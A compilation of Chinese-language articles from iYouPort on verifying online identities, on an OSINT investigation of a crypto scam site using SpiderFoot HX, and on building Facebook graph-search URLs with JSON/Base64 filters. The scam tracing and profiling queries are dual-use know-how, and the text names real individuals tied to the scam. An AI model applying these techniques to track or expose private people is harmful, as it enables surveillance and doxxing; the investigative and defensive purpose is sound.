必须说，当我们用放大镜来审视生活时，就会发现它总是充满了各种不合理。比如工作出现断档，可能是因为有了孩子；在毕业后的时间与第一份正式工作之前出现断档，是很常见的现象，特别是对于女性来说。如果您觉得这就说明别人是骗子，那么一大群很棒的女记者都会被怀疑为骗子了。

至于照片，有时候人们就是会使用一些比较奇怪的照片，比如，下面这个是在推特上很活跃的 Joshua Benton 使用的头像。

「图」

「图」

Joshua 在推特的个人简介中称自己是哈佛某个媒体项目的负责人。然后他竟然用了一张这样的头像，看起来像骗子吗？

但事实上他的确在哈佛工作，而且负责一个世界知名的实验室。

那么这个 Maisy 糟糕的简历又怎么解释呢？嗯，难道您没试过写了一个糟糕的简历，然后想着自己过段时间会再修改它吗？我就干过这事。（然后很多会议项目就刊登了这份简历）

至于她的私人工作室的名字，真的就能说明是骗子吗？

讲个好玩的事吧，一群推特用户参与调查了 Maisy 假扮记者事件，也检视了她在领英上的联系人及那些所谓的人脉关系。其中有一位“牧羊人先生”似乎一看就是个骗子。他还自称是宠物摄影师和纸制帽子匠人。

「图」

「图」

这个人姓 Shepard，英文意思是牧羊人。他上传的帽子照片一看就是PS过的，他的自我介绍是“身处说故事的人及动物管理者之间”。这肯定是骗子。

「图」

「图」

人们真的打电话去 JB Shepard 先生的 Puptrait 工作室了，然后发现这一切都是真的，他真的就是姓 Shepard。

「图」

「图」

这就是他的狗，戴着他亲手做的纸帽子

这顶纸帽子也不是PS的，就是 Shepard 为这只小狗量身制作的。

如果您也曾经认为 Shepard 是个伪造的身份，别怪责自己。当您接触看起来很粗制滥造的信息时，对他们的真实性或者可信度的判断就会受到固有思维的影响。

如果您是男人，就很有可能会觉得工作断档期不可能长达5年；如果您自己不是狗狗摄影师和纸帽子匠人，就会觉得这听起来不像什么正经工作。

- 这就是我们在昨天开启的新系列中讲述的第一个问题，见《人们只会看到自己想要看到的东西：为什么视而不见（1）- 您知道该往哪看吗》

我曾在同事和学生身上做过这样的实验：告诉他们某个网站是伪造的，然后询问他们哪些线索可以有助判断这一点。他们常常会很快总结出几十个明显的“漏洞”：太多广告、奇怪的排版、域名、没有受访者的相片、标题党、没有清晰的“关于我们”的页面等等 …… 然后我就会告诉他们这个网站是真实的，而且属于某个世界知名的医学周刊或者知名报刊。

但我现在放弃这个实验了。原因很多，比如人们会生我的气。他们有理由生气，毕竟我捉弄了他们。

不过阻止我做实验的主要原因在于，📌 当人们通过种种迹象判断某个网站是伪造的之后，即使我指出这些网站是真实的，也会难以说服所有人。这就是先入为主的影响，也是"为什么辟谣不起作用"，尤其是，“"人格暗杀"” 这类操作历史悠久且始终高效。

每一条所谓的 “线索” 都会让人们更坚持自己的想法，即使我告知他们这个网站可信度很高，但也没有多大作用。他们会和我争论，认为这不可能是权威的医学期刊。他们会说，我不相信你，你一定是哪里弄错了，你需要再次查证自己的信息！

我们的争论占用了太多的时间，最后我选择改用其它的教学方法，但这段经历令我有点后怕。

究竟哪些信号才能说明问题

📌 大量的低质量的简单信息就会影响您的判断，甚至会让您更加困惑。您越是努力去分辨它们的真伪，往往就越迷惑。

如今这种情况正在变得更加严重。目前我们还能根据一些典型的特征去判断某张图片是否由人工智能生成，但是，这些法子很快将会失效。现在您还要自己去写网站上的个人简介，但机器学习会很快写出看起来非常可信的自我介绍，甚至比您自己写的还要 “真实” 得多。到时候，编造这些信息不仅是容易的，准确说是毫不费力的。

- 关于假身份自动生成的简单方法，见《伪装 + 擦除—— 在线隐身的重要步骤》

要提高人们在数字时代辨析信息真伪的能力，就要建议您停止那套老的方法，它已经过时了 —— 大量搜集信息，然后在受到固有思维影响的复杂框架中去分析它们已经不管用了，您要做的是学会借助互联网的特性做出快速的判断。

继续以那位假记者为例。她声称自己为彭博社写稿。

「图」

「图」

这是真的吗？她在哪里发表过文章呢？调查一下，结果：

「图」

「图」

在谷歌新闻中检索 “Maisy Kinsley”，但完全没有关于她的条目。既没有相关的署名，也没有由她撰写的文章。在彭博的官网上搜索时也同样一无所获。

可以用同样的方式搜索一位最近联络我的 BBC 记者。这是谷歌新闻的搜索结果，首先是一些他为福布斯撰写的文章：在谷歌新闻搜索 Frey Lindsay 时，出现了许多他为福布斯撰写的文章。

「图」

「图」

再往下翻时，会看见他写的其它文章，中间也包括为 BBC 撰写的：

前往 BBC 官网再次搜索他的名字，会找到更多他写的新闻：

「图」

「图」

您不需要去管那些琐碎的信息，比如说目标人的相片、个人网站、领英页面有没有问题，也不用去管此人的公司名字怪不怪，或者工作断档期是否合理。这些鸡毛蒜皮的信息 Frey 能轻易伪造（如果他真是骗子的话），而我们也很容易在此误读（如果他不是骗子的话）。

您要做的是找到能证明 Frey 是记者的信息 —— 请注意，这些信息必须不是 **Frey** 自己说的，而是互联网所展示的。真相真的 “就在那里”：就在网络上，您要学习的是利用网络去找到它们。

📌 这要求您懂得什么信息容易伪造：比如领英上的联系人、自我简介的页面、相片等等）；什么信息难以伪造：比如在权威的、明显有专人打理的网站上刊载的文章等等。

要提高人们在数字时代辨识信息的能力是件不容易的事 —— 您可以参见我们的 列表-3 “让它民主”，这个板块是帮助公民调查人员积累经验和获取技术工具的内容汇总，信息真伪验证是其中的主题之一。

人们习惯通过某些信息来进行判断，但到了网络世界，这些信息可能难以找到，并且极容易被伪造。

要学会区分哪些信息才是重要的判断依据，依旧是很少有人能掌握的技能。您必须知道谷歌新闻的展示机制，哪些结果是有效的，哪些是无效的。您还要知道人们可以花钱买粉丝，推特上的认证信息只说明 *你说* 自己是谁，但无法证明你说的是事实。

您还需要知道伪造一大串社交媒体使用足迹要比伪造一长串个人简历要容易得多，而且为了让自己的信息在搜索页面置顶，骗子们还能诱骗您使用他们想要您使用的搜索关键词。

人们总是以为接受过良好的教育就能拥有所谓的 “批判性思维”。这个看似无所不能的灵药能让一个人无论在哪都畅通无阻。的确，有些认知能力放之四海而皆准，但是，更多时候在特定情况下才有效，而且需要学习才能掌握。

在多年的数字素养研究生涯中，我仍然坚信：在借助网络辨识信息可信度方面，我们仍然有很长的路要走。〇

Network Heuristics

原文

揭露加密货币投资骗局：蜘蛛脚演示自动化开源情报调查 - iYouPort

开源情报-每个人都可用的武器

注意思考方式哦！很重要

「图」

「图」

自动化是开源情报越来越重要的部分。即使是最简单的调查，也可能需要快速收集和分析大量不同的数据类型。手动是真的不行。

但是，随着时间的推移，建议将所有开源情报调查工作都自动化，是不对的 —— 优秀的开源情报调查人员应该可以从自动化中受益，而不是被自动化所取代。

☞ 调查分析领域始终需要优秀的人类分析师、新闻工作者、侦探在最前端来理解数据并评估其价值。

「图」

「图」

Spiderfoot HX 是最棒的开源情报自动收集工具。我们曾经介绍过，在下面看到：

- 《如何自动执行情报搜集？蜘蛛脚入门指南》

在这篇文章中，nixintel 演示了 Spiderfoot HX 如何用于调查恶意IP地址，是一个很精彩的调查案例。

还记得我们以前挖掘过的骗局吗？在下面回顾：

- 《演示：对 Elon Musk 比特币诈骗的开源调查》
- 起底法国的加密货币骗局挖出中国网军《好玩的间谍挑战》

☞本案例将展示 Spiderfoot 如何自动识别相关数据并通过识别感兴趣的点来进行扩展和探索，从而扩大开源情报调查的范围。

目标

本次调查的主题来自于下面这个诈骗邮件：

「图」

「图」

很惊人是吧？美国著名导演 Thomas Anderson（或Anthony Ned?）邀请你加入他的会员营销计划。当然，这是假的。

那么你能找到什么呢？该垃圾邮件中提供了几个身份标识，可以将它们输入到 Spiderfoot 中。有一个电子邮件地址、一个Skype用户名、和一个 telegram 帐户 —— 但是我对 Bitly 链接非常感兴趣，它们指向何处？

网络安全101意味着：不要点击垃圾邮件中的链接，你一定知道；但是，**Bitly** 有一个小窍门，可以帮助避免这种情况。

☞ 在浏览器搜索栏中输入URL并在末尾添加＋号，即可转到 Bitly 对该URL的分析页面。因此，对于电子邮件中的第一个URL，Bitly 告诉我们：

「图」

「图」

☞因此，无需点击链接！（可能很可能是恶意的），就已经可以知道垃圾邮件的背后域是 **proinvest[.]ink**。

第二个 Bitly 链接也指向同一域。在这里还可以看到总共有15个人点击了该链接，并且该链接自11月底以来一直处于活动状态。

因此，在 proinvest[.]ink 上究竟能找到什么呢 ……

「图」

「图」

「图」

「图」

这是一种典型的加密货币投资骗局！

这种骗局如今变得越来越普遍，骗走了许多无辜的人毕生的积蓄。2019年每名受害者的平均损失惊人地达到了14,600英镑（19,000美元）。

这些骗局鼓励受害人将他们的钱投资于比特币或外币，并承诺获得快速回报。乍一看一切都很好，并且被害者被愚弄着认为他们已经赚了大笔钱。然后他们就会进行更多投资，大多数情况下都是如此。

但是，这种时候骗子就会找借口并中断联系，然后带着钱人间蒸发。

这是 Proinvest 对自己的评价：

「图」

「图」

他们甚至提供了真实的英国地址和公司运营详细信息：

「图」

「图」

但是，它究竟合法吗？我们可以使用 Spiderfoot HX 来了解 Proinvest 骗局的运作方式，以便了解更多信息。

设置 Spiderfoot HX

我们将使用自定义扫描来调查该网站。要开始使用，请转到扫描，然后单击＋号以创建新的扫描。给它起个名字叫 “crypto scam”：

「图」

「图」

目前为止还没有添加太多信息。我只关注域、垃圾邮件的电子邮件地址、和“Tom” 的 Telegram 用户名，显然他们是如此热衷于拿走我的

钱。

☞Spiderfoot HX 还允许您搜索电话号码（一定要在开头添加＋）以及人名。人名必须以逗号分隔。

我曾考虑在扫描中添加 “Thomas Anderson”，但像这样的非常普通的名字可能会引起过多的误报，因此我将其搁置。

「图」

「图」

这也太多了…… 所以，它没用

Spiderfoot HX 大约有170个模块可供选择，但并非所有模块都与您的调查相关，因此，可以禁用不需要的模块以节省时间，并确保不浪费API积分。

☞这里有一些很好的模块可以探索网站内容、电子邮件和用户名，我们要启用它们。其中包括 Archive.org，BuiltWith（需要API密钥），Clearbit（API），EmailRep，File Metadata，Fraudguard，内部和外部URL以及 Web Analytics。

因为我们有一个电子邮件地址和一个用户名，所以启用“帐户”、“社交媒体资料”、和 “社交网络” 模块也很重要：

「图」

「图」

帐户模块会检查将近**200**个不同网站是否与所提供的用户名相匹配，这甚至比 Sherlock 还要多。在下面看到：

- 《针对人的追踪调查：开源情报思考方法（1）》
- 关于 Sherlock，见《在互联网上识别和追踪一个人的基本方法》

「图」

「图」

准备就绪后，请单击 “立即运行扫描” 以开始。您可以立刻查看结

果，也或者，Spiderfoot 将在扫描完成后向您发送电子邮件通知。

扫描结果

「图」

「图」

这篇文章的目的之一是展示 Spiderfoot 的快速开源情报自动化功能如何扩大调查范围。我为该扫描启用了许多模块，Spiderfoot 返回了数千个数据点，几乎所有数据点都以某种方式有用。

如果使用手工技术甚至包括一系列本地运行的脚本来获取这些信息的哪怕一小部分，也需要花费很多时间，而且容易出错，并且可能错过了重要的数据点。

您花在收集信息上的时间越少，意味着就有更多的时间来分析和调查所发现的材料。

现在收集已经完成，我们可以使用 Spiderfoot 的结果和可视化工具开始深入研究这个加密货币骗局。

IP和域信息

Spiderfoot 的风险识别功能会立即标记出与欺诈网站关联的IP地址是恶意的：

「图」

「图」

您可以从它经营的公司那里得知很多有关网站的信息。 VirusTotal 以前已将该IP及其周围的IP与恶意活动相关联：

「图」

「图」

Spiderfoot 还在同一IP上标识了另一个域（“扫描结果”」“域名”）。这是该IP当前托管的唯一其他域。我们可以通过可视化功能了解到很多东西：

「图」

「图」

另一个域（online2019[.]com）本身尚未被归类为恶意，但其同名域名很多。如果（安全地）进行访问，那么该网站的实际外观是什么？

「图」

「图」

一看就是骗局对吧。只需要接受5分钟调查就给你一个比特币(价值$7200)？做梦呢。

关于该IP地址，还有其他一些有趣的观点。尽管该IP已分配给德国，但实际上是由一个立陶宛托管公司拥有的。Spiderfoot 已设法从收集的数据中选择了托管公司的物理地址（“扫描结果”」“物理位置”）。

「图」

「图」

这是伦敦 “顶级私人股本公司” 之一据称用于运营的托管公司的地址：

「图」

「图」

可笑吧……

验证和分析ID

即使从一开始不是一个明显的骗局网站，Spiderfoot 发现的IP和域名信息也倾向于表明我们也许根本就没有与伦敦的一家大型投资公司打交道。

但是还可以了解到什么呢？

我们从一开始就看到了用于垃圾邮件推广活动的 Bitly 链接仅在短时间内处于活动状态，那么在此之前，该网站背后的团队在做什么？

可以使用捕获的数据来尝试查找欺诈者可能涉及的其他站点。

☞Spiderfoot 以原始格式捕获目标网站的内容，因此无需直接访问该网站即可查看 HTML、CSS 和 Javascript 文件。该网站 HTML 中有 Google 和 Yandex 的分析标签：

「图」

「图」

网络管理员像我们其他人一样喜欢便利。因此，同一网站所有者很可能在他或她负责的所有网站中频繁重复使用相同的 Google Analytics ID。

在这种情况下，Google 和 Yandex 都有验证码，这使所有者可以证明该网站是他们的。但是他们在其他地方使用相同的标识吗？

Google的快速搜索显示，在另外两个已失效的加密货币骗局网站 **icolimited [.] org** 和 **bit-crown [.] com** 上使用了相同的 Yandex 和 Google 身份标识。

「图」

「图」

在这种情况下，我们的目标网站实际上没有包含 Google Analytics ID，但是 Spiderfoot 会自动浏览其他关联网站、识别分析和 Adsense ID，然后使用 "SpyOnWeb API" 查找共享相同 **analytics ID** 的网站。

☞这是在多个站点之间建立明确连接的绝佳方法，这些站点之间显然没有任何其他表面上的联系。

它清楚地显示了如何使用一个ID来证明多个站点之间的连接：

「图」

「图」

文件资料

Spiderfoot 还可以从网站上挖掘出哪些其他小细节以帮助我们更多地了解背后的人？

首先，我们启用了文件元数据模块来捕获有关在网站中发现的所有文件的信息。这是 Spiderfoot 带回来的东西：

「图」

「图」

Spiderfoot 已在网站中找到了四个PDF。可视化它们比遍历数据行更容易：

「图」

「图」

我们可以看到它们是使用 Microsoft 产品创建的，但是每个文件都有一些更有趣的元数据：

「图」

「图」

这显示了网站上PDF的创建日期，也恰好与上次修改日期相同。

该PDF是于2019年11月26日15:55:11创建的，但请注意时区：+**03’00**。计算机使用UTC作为参考点，这恰好与英国时间相同。

那么，为什么这个自称 “伦敦” 投资公司的计算机的时间戳比伦敦本地时间早3小时？以下是有关原因的可能性：

「图」

「图」

所有这些国家/地区都在UTC ＋3时区中，但是在创建此文件的日期里，只有白俄罗斯和俄罗斯在该时区中。这表明该骗局网站的创建者实际位于何处。

文件上的时间戳反映了实际创建文件的本地计算机的时间，因此它使我们对站点创建者的位置很有信心了。

但是这些PDF实际上指的是什么？让我们看看其中之一：

「图」

「图」

「图」

「图」

这些是来自 Company House 的文件，英国的所有企业都必须在该处进行注册。☞如果尝试验证这些详细信息是否正确，你会发现，Proinvest Ltd 是一家真正的英国公司。

法人是 Piotr Antoni Kaszynski，他还曾在其祖国波兰注册为多家公司的董事。诱人的是，他看起来就像是骗局的幕后黑手，但是，这些信息似乎并不真实。

「图」

「图」

甚至其登记的地址实际上并没有那么大的帮助。 Wenlock Road 20–22 是一个真实的地址，但它只是供公司注册的虚拟办公室。该地址与欺诈者的实际位置之间没有物理联系。这类设置对犯罪分子具有吸引力也就不足为奇了。

问题是 —— 在伦敦上市的 Proinvest Ltd 公司与诈骗网站背后的 Proinvest 公司是否是同一个东西？

☞答案是否定的。英国的所有金融公司均需获得金融行为监管局的许可。毫不奇怪，Proinvest [.ink] 并非如此。他们是一家"克隆公司"，并使用真实公司的名称和注册详细信息来使他们的欺诈行为看起来更合理。

文件元数据模块还揭示了网站本身的结构。我们刚刚查看过的PDF的文件路径是 **proinvest [.] ink/glavna/cert/xxxx**。

“Glavna”是俄语中的 “主要”的意思，因此，该网站的真正来历还有另外一条线索。

如何引诱受害者？ —— 使用的是一个袜子木偶军团！

说服人们继续留在骗局里，这需要大量的时间和精力，也需要大量的袜子木偶。Spiderfoot 再次非常快速地映射和识别了袜子木偶网络。

「图」

「图」

选择 **Browse By 」 Data Type 」 Linked URL—External**，这将显示该欺诈站点指向的所有外部网页。一个名为 “Thomas Anderson” 的袜子木偶一开始就试图招募我，但 “Tom” 只是为进行欺诈而创建的数百个袜子木偶帐户之一。

☞这就是骗子与受害者交流的手段。 Spiderfoot 确实会很快找到所有这些对象 —— 超过400个！

要查结果，请选择 **Discovery Path (Left 」 Right):**

「图」

「图」

发现路径使我们能够看到每个搜索结果如何与原始查询联系在一起。这是一个很大的可视化效果，因此我将其分解以使其更易于查看。

这是给 Spiderfoot 的原始查询：

「图」

「图」

接下来 Spiderfoot 会确定该网站的一部分，称为 “Support”（也有一些其他URL，但我现在不打算讨论这些URL）：

「图」

「图」

在整个图表之后，我们可以从 “Support” 页面看到一个链接，该链接指向另一个页面，称为 “Representatives”，或者我喜欢将其称为 “骗子操纵的袜子木偶”：

「图」

「图」

能一次找到所有这些袜子木偶不是很好吗？好吧 ……这样：

「图」

「图」

☞来自 Telegram，Facebook，YouTube，LinkedIn，Twitter，Google Plus，VK 和其他平台的数十个袜子木偶，都链接回了这个欺诈网站，目的是欺骗受害者，使他们相信这是真正的“赢家”真正的投资计划。

一张截图无法容纳太多，但已识别出400多个袜子木偶。

从 Facebook：

「图」

「图」

从VK：

「图」

「图」

YouTube 频道可帮助预览其他关联的加密货币骗局。在这一点上，他们的俄语链接甚至都没有伪装一下下：

「图」

「图」

当然，伦敦所有最大的私募股权公司都使用 Telegram 获得客户支持：

「图」

「图」

这的确显示了自动化开源情报调查的真正价值。手动执行此操作将花费数小时或数天。 Spiderfoot 只花了几分钟就做到了。

寻找 Tom_Proinvest

「图」

「图」

要研究这些袜子木偶和永无休止的加密货币骗局本身就是另一项调查，因此，最后，将重点介绍发送这封垃圾邮件的袜子木偶 “Thomas Anderson”，是它先触发了这项调查。

我已经在初始扫描中添加了 “ tom_proinvest”一词。除了我们已经知道的 telegram 帐户之外，蜘蛛脚还确认了关联的 Facebook 帐户。

☞不幸的是，Facebook 帐户已被删除，但是我们仍然可以做些事。

「图」

「图」

使用 **Yandex** 进行"反向图像搜索"可立即识别出用于创建袜子木偶 **“Tom”** 的头像。原来他也被称为 Maxim Belsky，Maxim Semenov，Bogdan Smirnov，Mikhail Pekletszov 甚至 Dmitry Andreyevich ……一大堆名字：

「图」

「图」

这是 “Tom” 被用来推动又一次加密货币骗局。有一个手机号码、Skype 帐户、和另一个 Telegram 帐户，可以将其输入 Spiderfoot 并继续进行研究。

「图」

「图」

实际上，如果点击 Tom aka“ Maxim Belsky” 正在宣传的 YouTube 视频的链接，就会发现他的 YouTube 频道、Gmail 地址、以及很多视频，这些视频说明了如何进行会员营销投资诈骗。

甚至有可能 Tom” 就是经营 YouTube 频道的骗子 Maxim。

「图」

「图」

「图」

「图」

但是，仍有很多线索在里面。事实证明，“ **Maxim**” 在他办公桌前的那张图片源于"乌克兰 “营销专家” Oles Timofeev 的VK个人资料"。

还有很多值得探索的地方 —— 随时注册 Spiderfoot，您可以亲自动手尝试侦探！

结论

这项小小的调查是从简单的垃圾邮件开始的，但是通过使用 Spiderfoot HX 进行自动化的工作能够迅速扩大调查范围，并确认该网站不是它声称的网站。

从一开始它就很可疑，但是 Spiderfoot 有助于弥合纯属怀疑与能够指出客观事实之间的鸿沟，这些事实有助于证明该网站是欺诈性的。

蜘蛛脚是一个了不起的调查利器。如果没有通过某种形式的自动化数据收集进行扩展，您很难进行这种调查。

☞尤其请注意这篇文章中透露的调查思考方式。您学会了吗？〇 广告

原文

搜人、照片、视频、位置 …… 大全：新的 FB"图谱搜索"替代方案 —— 尤其强调防御 - iYouPort

开源情报-每个人都可用的武器

它是调查工具，也是社交媒体情报挖掘的技巧，并且，更为重要的是，它是个人安全防御的有效措施

「图」

「图」

先讲一件真实的事。

去年的某个时候，我们交流过的一位朋友告诉我们，TA在西方某国读书，但仅仅由于在 Facebook 上为香港的某个活动的页面点了赞，导致TA在中国的亲属被威胁，并要求TA回国。

请注意，TA已经离开中国在海外读书近10年，TA 的社交媒体使用了别名（不是匿名而是别名）；TA 并没有发言，仅仅是点了赞。TA的 Facebook 个人资料中绝大多数都是“仅限朋友”的设置。

此事也影响到了TA的学术研究，直到现在TA不敢回中国做某些调查。

TA联系我们是由于TA想要知道自己是如何被中国当局盯住的。

事实上很简单，TA没能做到完好地匿名 —— 社交媒体的个人简历（比如求学经历）、与中国社交媒体账户同步发布照片、人际关系在线清晰可见……

请注意这件事肯定不是特例。

正如我们曾经分析过的：

- ⚠《社交媒体情报在全球泛滥，并处于灰色地带，**没有**法律和标准以保护人权》；
- ⚠中国当局想要在 Twitter 和 Facebook 上扫荡任何人都 **不需要** 美国寡头的协助 —— 开源情报挖掘可以简单地定位任何不够小心的人。而且，《他们已经使用这种方法对付所有人长达20年》；
- ⚠并且，您无法通过自我审查来避免灾难，因为《您根本不会知道当局是如何判断什么为“敏感”（这篇 文章中指出的960个应用的列表）》
- ⚠最后，也是最重要的：《您需要知道如何制作一个匿名的社交媒体账户》以保护安全；并且，应该《熟练使用安全操作技巧》

本文的主要目的是介绍工具 —— 但与我们曾经介绍过的所有工具一样，它既可以进攻也可以防御。

您可以使用它追踪大型群体事件的细节、验证信息真伪、挖掘虚假账户和僵尸网络的内幕 ..... 同时也可以使用它来挖掘自己，《"通过敌人的眼睛看自己"》，及时发现安全疏漏并抢在对手进攻之前弥补它们。

「图」

「图」

Facebook 在2019年6月7日关闭了其图谱搜索选项。开源情报社区的人们在几个小时内就找到了解决方案，但不幸的是，那些解决方案似乎都没有持续很长时间 —— 因为Facebook不断阻止。

但现在，终于有了一个稍微稳定的解决方案。

刚开始时，“新”图谱搜索似乎有些包罗万象，但是一旦掌握了它，就会发现它就非常容易使用。

它涉及一些 JSON 和 Base64，不是所有人都熟悉的语言。但是，即使您可能从未听说过这些概念，仍然可以构建完好的图谱查询！

当然，有一些工具和网站（例如 Graph.tips、Sowdust 和 Intelx.io）都在简化获取 Facebook 数据的方式；它们做得很好；但是，对您来说，最好还是能知道这些工具的工作原理，而不是完全依靠它们。

正如我们最近所看到的那样，网站及其工具来来往往不断更新，这个

领域并没有常态；即使您最喜欢的工具被淘汰了，了解它是如何运作的也能为您提供很大帮助。

而且还能保持对开源情报的好奇心 —— 好奇心是决胜的根基。

在开始之前...

就像在“旧”图谱搜索中一样，ID号仍然很重要。您可以按照以下说明很容易地找到一个 **Facebook ID** 号：

1、在网络浏览器中打开感兴趣的页面或个人资料；

2、右键单击页面上没有内容的某个地方（通常在浅灰色区域），然后选择“查看页面源代码”（或使用 Ctrl ＋ U。这在大多数浏览器中都适用）；

3、使用 Ctrl ＋ F 搜索 “entity_id”（在查看个人资料时），搜 “ page_id”（在查看页面时）或 “group_id”（在查看群组时）。 “ entity_id ＝” 或 “ page_id ＝”后面提到的数字就是您需要复制的ID。

「图」

「图」

💡另外，别忘了将您的 Facebook 语言设置切换为 “美式英语”，这样可以获得最佳效果。

搜索 Facebook

根据 Buzzfeed 上的一篇文章，Facebook 表示：“在 *Facebook* 上，绝大多数人使用关键字进行搜索，这是导致我们暂停图谱搜索某些方面并更多地专注于改善关键字搜索的一个因素。我们正在与研究人员紧密合作，以确保他们拥有使用我们的平台所需的工具。”

可以承认他们的关键字搜索有所改进。提供了多种过滤器供您选择。你可以试试看。

「图」

「图」

不要忘记登录 Facebook 才能使用搜索选项。⚠如果您在创建或维护

研究资料方面遇到困难，请查看我们以前关于《袜子木偶》的技巧文章之一。

使用“新”图谱搜索进行搜索

这里才是真正开始。

即使搜索栏工作得很好，您有时还是希望对感兴趣的内容进行专门的过滤。

例如，有关特定主题的“最新”帖子。尽管该选项仍然可用，但那不是标准选项。您仍需要付出更多的努力。

基准

对于每次搜索，基准始终是以下这个URL：

facebook.com/search/top/?q＝people&epa＝FILTERS&filters＝

在此URL中，我们将进行一些调整并在末尾添加一些内容。

我们将从选择要搜索的正确类别开始。

要调整类别，请在以下提到的类别之一中更改突出显示的部分（“ top /”）：

facebook.com/search/**top**/?q＝people&epa＝FILTERS&filters＝

这些是可供选择的类别：

「图」

「图」

现在您知道了如何更改类别，下面我们来看一下更改搜索查询。

更改搜索查询是在此URL下面的突出显示部分中完成的：

facebook.com/search/top/?q＝**people**&epa＝FILTERS&filters＝

将“people”更改为您要搜索的任何内容。

搜索多个单词？只需继续输入，空格将变为“%20”；或在单词之间输入“ +” (E.g. ‘*osintcurious*+*technisette*’ or ‘*John*+*Doe*‘ or ‘*Ford*+*Mustang*+*Red*‘).

注意：您始终必须填写查询。您不能将其留空。

现在，您知道了如何更改类别以及如何更改搜索查询。已经完成一半了！

下一步

现在，我们将深入探讨 JSON 和 Base64。不要怕！您不需要“说”或“写”任何这些数据格式，但仍然能够找出其工作方式。

现在将最后一部分添加到此URL中。解释此问题的最佳方法是使用示例。

假设您要搜索有关“棒球”主题的最新帖子，那么就是如下所示：

facebook.com/**search/posts**/?q=**baseball**&epa=FILTERS&filters=

‘**search/posts/**’ 是因为要查找的是公开的帖子；‘?q=**baseball**’ 这是要找的东西。

要查找“最新”帖子，就必须将 JSON 字符串转换为 Base64。

‘Most recent’ 的JSON字符串为：

{“rp_chrono_sort”:”{\”name\”:\”chronosort\”,\”args\”:\”\”}”}

📢要将 JSON 转换为 Base64，可以使用 CyberChef。这是一个免费的在线工具，非常易于使用。（此外还有更多其他工具可帮助您将 JSON 转换为 Base64。选择最喜欢的工具吧）

使用方法：

1、从 Operations section 选择 “To Base64”；将此选项拖放到“Recipe”部分。

2、“输入”字段为空白。确保如上所述在此 Input 字段中粘贴 JSON 行。

3、现在，您将在“输出”字段中看到结果。（如果您没有立即看到结果，请确保检查 “Auto bake” 框是否被打勾）

4、复制 Base64 输出。

「图」

「图」

是的就像你使用翻译软件那样。

然后它看起来就像这样：

eyJycF9jaHJvbm9fc29ydCI6IntcIm5hbWVcIjpcImNocm9ub3NvcnRcIixcImI

现在就可以将 URL 和 Base64 放在一起了：

facebook.com/**search/posts**/?
q＝**baseball**&epa＝FILTERS&filters＝**eyJycF9jaHJvbm9fc29ydCI6IntcIm**

现在，您将看到有关“棒球”主题的最新帖子。

这并不难，对吧？

以此类推，你可以搜索任何你想要的东西！

每个类别可能的选项

每个类别有多个选项可以过滤。这里总结了可能的选项，并将其中一些转换为 Base64 —— 我们会标注一些用例；但请记住，那绝不是唯一用例！如何使用它们完全由您的调查目标所决定。

并非所有选项都适用；对于某些选项，您将需要特定的 Facebook ID。如果您不知道如何获取ID，请向上滚动以获取说明。

必须说，其中一些带来了比 Facebook 常规搜索更好的结果，而另一些则显示了较少的内容。因此，请确保继续尝试，保持好奇心并测试查询。

Search/top/ 搜索最受欢迎的内容

最新热门内容 「这将有利于追踪热点事件」：

JSON: {"rp_chrono_sort":"{\"name\":\"chronosort\",
\"args\":\"\"}"}

Base64:
eyJycF9jaHJvbm9fc29ydCI6IntcIm5hbWVcIjpcImNocm9ub3NvcnRc

最受欢迎的公开内容「由此您将看到什么人在关心这些内容」：

JSON: {"rp_author":"{\"name\":
\"merged_public_posts\",\"args\":\"\"}"}

Base64:
eyJycF9hdXRob3IiOiJ7XCJuYW1lXCI6XCJtZXJnZWRfcHVibGljX3Bv

从您自己的个人资料发布的最受欢迎内容「如果你在钓鱼/或者营销.....这个方法可以帮你快速找到想要的线索」：

JSON: {"rp_author":"{\"name\":\"author_me\",\"args
\":\"\"}"}

Base64:
eyJycF9hdXRob3IiOiJ7XCJuYW1lXCI6XCJhdXRob3JfbWVcIixcImFy

您的个人资料查看的最受欢迎内容「用来防御」：

JSON: {"interacted_posts":"{\"name\":
\"interacted_posts\",\"args\":\"\"}"}

Base64:
eyJpbnRlcmFjdGVkX3Bvc3RzIjoie1wibmFtZVwiOlwiaW50ZXJhY3Rl

您的朋友发布的最受欢迎的内容「了解你的组织动态；请注意，这里的“您”可以是袜子木偶账户，也就是追踪者渗透目标组织时可见的东西」：

JSON: {"rp_author":"{\"name\":
\"author_friends_feed\",\"args\":\"\"}"}

Base64:
eyJycF9hdXRob3IiOiJ7XCJuYW1lXCI6XCJhdXRob3JfZnJpZW5kc19m

您点赞的页面或您所属的群组中最受欢迎的内容「回忆本文开头讲述

的故事，关于TA如何被当局瞄准。如果您没有使用匿名账户，并在此查询中找到了敏感内容，您知道该如何处理它们」：

```
JSON: {"rp_author":"{\"name\":
\"my_groups_and_pages_posts\",\"args\":\"\"}"}

Base64:
eyJycF9hdXRob3IiOiJ7XCJuYW1lXCI6XCJteV9ncm91cHNfYW5kX3Bh
```

您所属的群组中最受欢迎的内容：

```
JSON: {"rp_group":"{\"name\":\"my_groups_posts\",
\"args\":\"\"}"}

Base64:
eyJycF9ncm91cCI6IntcIm5hbWVcIjpcIm15X2dyb3Vwc19wb3N0c1wi
```

特定页面上最受欢迎的内容 —— 注意：您将需要感兴趣页面的Facebook ID。将“ PutIDHere”替换为该ID号。「追踪者和操纵者可以轻松瞄准任何它们感兴趣的页面」

```
JSON: {"rp_author":"{\"name\":\"author\",\"args\":
\"PutIDHere\"}"}

Base64: Depends on the ID used.
```

特定群组中最受欢迎的内容 —— 注意：您将需要感兴趣页面的Facebook ID。将“ PutIDHere”替换为该ID号。

```
JSON: {"rp_group":"{\"name\":\"group_posts\",
\"args\":\"PutIDHere\"}"}

Base64: Depends on the ID used.
```

带有特定位置标记的最受欢迎的内容 —— 注意：您将需要感兴趣页面的Facebook ID。将“ PutIDHere”替换为该ID号。「用来追踪突发事件和群体事件相关的新信息」

```
JSON: {"rp_location":"{\"name\":\"location\",
\"args\":\"PutIDHere\"}"}

Base64: Depends on the ID used.
```

在特定时间范围内发布的最受欢迎的内容 —— 注意：您必须更改时间范围。您可以根据自己的喜好更改下面突出显示的部分。「也是用来追踪事件的，不论是个人还是群体事件」

JSON: {“rp_creation_time”:”{\”name\”:\”creation_time\”,\”args\”:\”{\\\”start_year\\\”:\\\”**2019**\\\”,\\\”start_month\\\”:\\\”**2019–1**\\\”,\\\”end_year\\\”:\\\”**2019**\\\”,\\\”end_month\\\”:\\\”**2019–12**\\\”,\\\”start_day\\\”:\\\”**2019–1–1**\\\”,\\\”end_day\\\”:\\\”**2019–12–31**\\\”}\”}”}

Base64: Depends on the time range used.

Search/posts/（搜索公开帖子）

